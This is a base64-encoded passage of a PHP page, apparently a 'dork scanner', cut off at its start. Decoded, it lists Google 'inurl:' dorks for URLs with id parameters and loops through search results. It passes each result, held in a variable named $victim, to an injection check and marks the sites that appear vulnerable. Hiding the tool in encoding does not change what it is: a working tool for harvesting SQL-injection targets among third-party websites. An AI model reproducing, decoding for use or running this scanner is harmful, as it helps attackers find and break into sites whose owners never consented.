0P2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6YW5ub3VuY2UucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6Y2hhcHBpZXMucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6cmVhZC5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDp2aWV3YXBwLnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOnZpZXdwaG90by5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpydWIucGhwP2lkcj08L29wdGlvbj48b3B0aW9uPmludXJsOmdhbGVyaV9pbmZvLnBocD9sPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6cmV2aWV3LnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOmluaXppYXRpdmEucGhwP2luPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6Y3VycmljdWx1bS5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpsYWJlbHMucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6c3RvcnkucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6bG9vay5waHA/SUQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpuZXdzb25lLnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOmFib3V0Ym9vay5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDptYXRlcmlhbC5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpvcGluaW9ucy5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDphbm5vdW5jZS5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpydWIucGhwP2lkcj08L29wdGlvbj48b3B0aW9uPmludXJsOmdhbGVyaV9pbmZvLnBocD9sPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6dGVrc3QucGhwP2lkdD08L29wdGlvbj48b3B0aW9uPmludXJsOm5ld3NjYXQucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6bmV3c3RpY2tlcl9pbmZvLnBocD9pZG49PC9vcHRpb24+PG9wdGlvbj5pbnVybDpydWJyaWthLnBocD9pZHI9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpydWJwLnBocD9pZHI9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpvZmZlci5waHA/aWRmPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6YXJ0LnBocD9pZG09PC9vcHRpb24+PG9wdGlvbj5pbnVybDp0aXRsZS5waHA/aWQ9PC9vcHRpb24+PC9zZWxlY3Q+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0iZG9yayIgbmFtZT0iZG9yayIgdmFsdWU9Ijw/cGhwIGVjaG8gKGlzc2V0KCRfUE9TVFsnZG9yayddezB9KSkgPyBodG1sZW50aXRpZXMoJF9QT1NUWydkb3JrJ10pIDogJ2ludXJsOnBocD9pZD0nOyA/PiIgLz4KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN0YXJ0IiBpZD0iYnV0dG9uIi8+CiAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ2RvcmsnXXswfSkpewogICAgICAgICAgICAgICAgICAgICAgICAgJGRvcms9JF9QT1NUWydkb3JrJ107ICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgaWQ9InJlc3VsdCI+U3RhcnQuLjxicj4nOyAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxldEl0QnkoKTsgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGdvb2dsZVBhZ2U9MDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUoMTwyKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZ29vZ2xlUGFnZT0kZ29vZ2xlUGFnZSsxOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGdvb2dsZVJlc3VsdCA9IGdvb2dsZV90aGF0KCRkb3JrLCAxKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IoJERlbGV0ZSA9IDA7ICREZWxldGUgPCBzaXplb2YoJGdvb2dsZVJlc3VsdCk7ICREZWxldGUrKyl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxhc3Q9JGdvb2dsZVJlc3VsdFskRGVsZXRlXVsndW5lc2NhcGVkVXJsJ107CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJERlbGV0ZUZyb21Eb3JrID0gc3Vic3RyKCRsYXN0LHN0cnBvcygkbGFzdCwiLy8iKSsyLHNpemVvZigkbGFzdCktKHN0cnBvcygkbGFzdCwiLy8iKSsyKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJERlbGV0ZUZyb21Eb3JrID0gc3Vic3RyKCREZWxldGVGcm9tRG9yaywwLHN0cnBvcygkRGVsZXRlRnJvbURvcmssIi8iKSk7ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb3JrLj0iIC0iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb3JrLj0kRGVsZXRlRnJvbURvcms7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZighJGdvb2dsZVJlc3VsdCl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJ2dvb2dsZSBkb250IGhldmUgbW9yZSByZXN1bHQsIHNvIEkgZG9uZS4uKD8pJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCR2aWN0aW0gPSAwOyAkdmljdGltIDwgc2l6ZW9mKCRnb29nbGVSZXN1bHQpOyAkdmljdGltKyspewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoY2hlY2tfaW5qZWN0aW9uKCRnb29nbGVSZXN1bHRbJHZpY3RpbV1bJ3VuZXNjYXBlZFVybCddKSl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHNwYW4gY2xhc3M9IlkiPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vICAgICAgZmlsZV9wdXRfY29udGVudHMoImxvZy50eHQiLCAieyRnb29nbGVSZXN1bHRbJHZpY3RpbV1bJ3VuZXNjYXBlZFVybCddfVxuIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSBlY2hvICc8c3BhbiBjbGFzcz0iWCI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cInskZ29vZ2xlUmVzdWx0WyR2aWN0aW1dWyd1bmVzY2FwZWRVcmwnXX1cIiB0YXJnZXQ9J19ibGFuayc+eyRnb29nbGVSZXN1bHRbJHZpY3RpbV1bJ3VuZXNjYXBlZFVybCddfTwvYT48L3NwYW4+XG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsZXRJdEJ5KCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvZGl2Pic7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICBEb3JrIHNjYW5uZXIgZWRpdGVkIGJ5IEZBTkVxLgogICAgICAgIDwvYm9keT4KPC9odG1sPg==